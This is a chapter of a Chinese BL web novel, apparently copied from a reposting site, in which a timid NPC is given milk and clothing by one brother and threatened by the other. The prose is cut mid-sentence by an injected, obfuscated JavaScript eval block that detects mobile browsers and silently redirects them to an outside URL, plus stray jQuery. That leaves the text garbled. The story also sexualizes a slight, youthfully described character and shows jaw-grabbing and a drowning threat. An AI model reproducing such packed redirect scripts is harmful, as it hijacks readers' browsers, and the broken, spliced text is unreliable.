3. 喝牛奶的小猫

作品:《漂亮NPC身陷修罗场[无限]

    “真的吗?”碧蓝色的杏眼不敢置信般睁得溜圆。


    生怕陆安和反悔,楼枣连忙双手捧过玻璃杯,还挂着泪就甜甜地冲他展露笑容:“太感谢您了!”


    “您真是个好人。”


    说完就爬下了床,往门外跑去


    说完,才低头专心致志地开始对付牛奶。


    地下城里生活的都是些穷凶极恶之徒,稍有不慎就会被人下毒或是下药,楼枣早就养成了喝东西前先闻一闻的习惯。


    小巧的鼻翼翕动,鼻尖被热气蒸得更加粉嫩,蒙了薄薄一层汗珠。


    闻过之后,又是小心翼翼地张嘴,伸出一节软红的舌,缓慢又试探性地舔了口牛奶,舌尖沾着一点奶白,像是一只对陌生食物格外警惕的猫。


    楼枣的舌头很敏感,吃不了滚烫的食物,温度稍微高一点都能将他的舌头烫伤,偏偏又肠胃脆弱,不能频繁食用寒凉的食物,只能每次吃饭前都靠这样小心地试探。


    陆安和特地要求多加了些糖,甜滋滋的味道从舌尖弥漫开来,楼枣交替着晃了晃脚丫子,眼睛眯弯成一条线。


    确认完没有任何问题,楼枣才开始小口小口地喝牛奶,动作小到不像是在喝牛奶,而是在舔。


    陆安和看着殷红的唇舌混在牛奶中若隐若现,突然开口:“嗓子眼这么细?喝这么慢。”


    楼枣被他乍然出声吓得呛到,闷咳间牛奶从唇边溢出,又担心陆安和嫌他喝得慢,努力抬高杯子想加快速度,却只能让更多的牛奶从杯口漫出,顺着脸颊流进衣服里,将本来就有些薄的衬衫洇得透明,贴在肌肤上。


    整个人直接被牛奶泡透了。


    看着人都呛得满脸牛奶眼泪还可怜巴巴地压抑着咳嗽想继续喝,陆安和从楼枣手里抢回杯子放在床头,“别喝了。”


    “咳、对、对不起,咳咳。”楼枣见陆安和冲自己抬手,还以为他要打自己,缩着脖子,怕痛地闭紧眼睛,张嘴开始道歉,“我下次会喝得很快的,请不要收走牛奶。”


    没想到陆安和只是坐近了些,将温热的手掌贴在他的背部,替他轻轻拍咳。


    咳着咳着,楼枣没忍住干哕一声,眼圈瞬间飚红。


    又得到一句调笑:“不仅嗓子眼细,喉咙还浅。”


    预料之中的疼痛并没有降临,楼枣慢慢放松下来,将嘴唇周围残存的一点牛奶舔了个干净,砸吧了一下嘴巴里的味道。


    这杯牛奶的味道很香醇,和之前喝到的掺满了水的完全不一样。


    真的好好喝。


    好想…好想每天都能喝到。


    他捏住自己胸前的衣襟,双手拎起来凑到鼻子前,像小兽一样嗅闻。


    好香的牛奶味。


    “别舔!”陆安和眼疾手快地捏住楼枣的双颊,将他的头抬起来。


    楼枣呆愣地看他,被捏起的腮肉将嘴唇挤得嘟起来,伸出一点舌尖来不及收回去,依然吐露在外。


    “我迟点儿让人再给你热一杯,不要舔衣服上的牛奶。”陆安和皱了皱眉,有些担心,“很脏。”


    “先去把衣服换了。”


    陆安和指的是衣服上的牛奶。


    楼枣还以为说的是自己,只默默点头,跟在人身后往外走,一步三回头地往床头那两块精致的蛋糕上瞥。


    好可惜,感觉要化掉了。


    ……


    楼枣的骨架比一般男性都要小上一圈,肩膀瘦窄,正常尺码的上衣只能松垮地挂在他肩上,衣领不是荡在胸前,就是挂在背后。


    露出大片肌肤,幅度大点就能顺着肩头滑下,能被人一眼看遍,跟中空没什么区别。


    管家转头看小尾巴似的跟在自己身后一起在库房里到处晃悠的楼枣。


    他正处在少年和青年的过渡时期,身形纤细柔韧,像一颗青葱欲滴的嫩竹子。


    因为一直没有找到合适的衣服,只在衬衫外披了一条宽大厚实的浴巾。


    黏哒哒的衣服贴在身上很不舒服,寒气顺着湿痕钻进体内,但楼枣只是白着一张小脸冲管家仰起头,乖巧地勾起嘴角,露出半颗小虎牙:“管家先生,还是没有找到合适我穿的衣服吗?”


    临近傍晚,室内的气温渐渐降下来,说完这句话,楼枣小声打了个喷嚏,毛茸茸的发顶轻微晃动。


    “找到了。”管家终于在角落里翻找出勉强合适楼枣的衬衫。


    “去洗个澡。”伸手接过衣服,楼枣还没来得及道谢,就感觉一道高大的阴影压了下来,一转头差点撞进对方的胸膛。


    陆安和居高临下地看他,手搭在他的后脖颈捏了捏,“一身奶味儿。”


    跟要喝奶喝着喝着就一头扎进奶盆里的小猫没什么区别。


    楼枣抿唇,指尖勾住衣角揉搓捏皱。


    又被嫌弃了……


    ……


    浴室的一墙之隔外,陆安和站在床边。


    床上的两个枕头,一个依然保持整洁干净,而另一个的表面还残留着皱褶的压痕。


    他盯着枕头上凌乱的痕迹,濡湿的汗液已经干燥,但上面似乎还残留着少年的体温。


    片刻后,他拿起枕头,将鼻尖埋进布料里深嗅。


    他的猜想果然不错,清甜柔软的淡香沁入了味儿,连枕头芯都不能幸免。


    余调绵长,叫人几乎成.瘾。


    淅淅沥沥的水声停了下来,楼枣捧着脏污的衣服打开门,只见陆安和手上拿着自己原本坐过的枕头,眸色晦暗地转头看他。


    陆安和为什么会守在这里,手上还拿着被自己弄脏的私人物品,是准备找他算账吗?


    楼枣被吓得僵在原地,呐呐打了招呼,在陆安和的注视下强撑着发软的双腿往门外挪动。


    “你准备就这样出门吗?”陆安和冷不丁出声,没什么起伏的语调却显得很凶。


    哪样?


    楼枣低头打量自己的穿着,很正常的衬衫配短裤,虽然对于他来说还是有些大。


    零星几点水渍把布料濡湿,他把衣服从贴住的皮肤上拎起,又尴尬地往下扯了扯衣摆。


    洗过澡不适合把袜子重新穿回去,楼枣直接光着脚套进了皮鞋里,卡扣和皮鞋带子把伶仃脚背硌出红印。


    有什么不对吗?


    楼枣拧了拧鼻子,无缘无故被凶让楼枣有些委屈,他张了张嘴很想反驳什么。


    但人在屋檐下不得不低头,楼枣最终合上嘴巴,只耷拉着眉眼说了句:“抱歉少爷。”


    他道歉总不至于出错吧。


    原本就有些受凉的脑袋被热气蒸得晕晕乎乎,带着温度的外套兜头盖下,“穿上这个再回你的房间。”


    “喔,好。”楼枣慢吞吞把手伸进


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643104|143845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    衣袖里,宽大衣服一直罩到他的膝盖。


    勉强用衣袖中伸出的一小截指尖勾着把门关上,一转头,楼枣看见从楼梯口走上来的克里斯。


    手一哆嗦,满捧衣服抖落在地,他根本来不及弯腰去捡,白着一张脸慌不择路地转身往楼上跑。


    身后传来敏捷的脚步声,皮鞋刚踏上一节楼梯,衣领就被人从身后揪住,楼枣几乎是凌空转了个圈,腰窝狠狠撞上扶手。


    克里斯双手撑在楼枣身体两侧,将他整个人圈在自己的怀里。


    “一看到我就跑?跑什么?”


    “就这么怕?下午直接昏过去,现在又抖成这样。”


    克里斯扫视着楼枣身上将他绰约身段遮挡得严严实实的外套,款式格外令人眼熟。


    “身上穿的又是哪个男人给你的衣服?”


    他转头确认楼枣是从哪个房间里出来的,回过头后神色更加冰冷。


    “刚从我哥房间里出来?”


    “还洗了澡,身上香的要死,头发都湿湿的。”


    “你也叫他哥哥了吗?”


    一句有一句反问话赶话、字接字地从克里斯嘴里吐出来。


    “啧。”看着被他一连串咄咄逼人的追问砸到发懵的楼枣,像是终于忍无可忍一般,克里斯掐住楼枣的下巴逼迫他抬头。


    他的力气不小,楼枣下颌骨被捏的生疼,眉头蹙起,连眼皮都疼得轻颤,小声倒吸着凉气:“呜……”


    “不愧是地下城养出来的,从下午开始就这样一脸可怜兮兮的故意让人心疼——”


    “你就是靠这幅模样勾.引人的吗?”


    楼枣憋住鼻尖的酸涩,眼尾洇得湿红。


    他又在胡说些什么东西啊……跟一只疯狗一样乱骂。


    “我不希望在九点之后还能看见你穿成这样在我哥的房间周围——


    “不,是在除了你的房间以外的任何地方,都不希望看见你,”克里斯突然咧嘴一笑,露出白森森的牙齿,“当然,如果你想被我丢进后山的湖里喂鱼的话。”


    克里斯放完狠话,如愿看到楼枣眼泪含泪地点头,才心情颇好地放开他。


    楼枣上楼前飞快地往身后瞥了一眼,走廊地面干净得纤尘不染,一点灰尘都没有,也包括刚刚从他怀里掉落的衣服。


    可能是被打扫的女仆扔掉了。


    楼枣有些可惜,那可是刚买的新衣服,虽然有些薄,但胜在合身。


    更何况,他根本没有带任何其他可以换洗的衣服。


    ……


    目送楼枣几乎是逃一般躲回屋,克里斯经过陆安和的房间,停顿片刻后还是抬手,用指节扣响房门。


    “有事?”房门很快被人从里打开,陆安和胸膛轻微起伏,衣服有些凌乱,像是刚从浴室里出来。


    透过门缝的间隙,枕被杂乱,揉成团的纸巾散落一地,腥膻味间夹带着一丝甜腻,这个房间里刚刚经历了什么不言而喻。


    克里斯收回视线,没头没尾地开口:“哥,你说了是我的。”


    全然不见下午热衷于同哥哥分享的好弟弟模样。


    陆安和撩起眼皮看他:“不是你邀请我加入你们的吗?”


    “哥,明明是我们的。”他一字一顿模仿克里斯语气,显得格外阴阳怪气。


    “我、们、的。”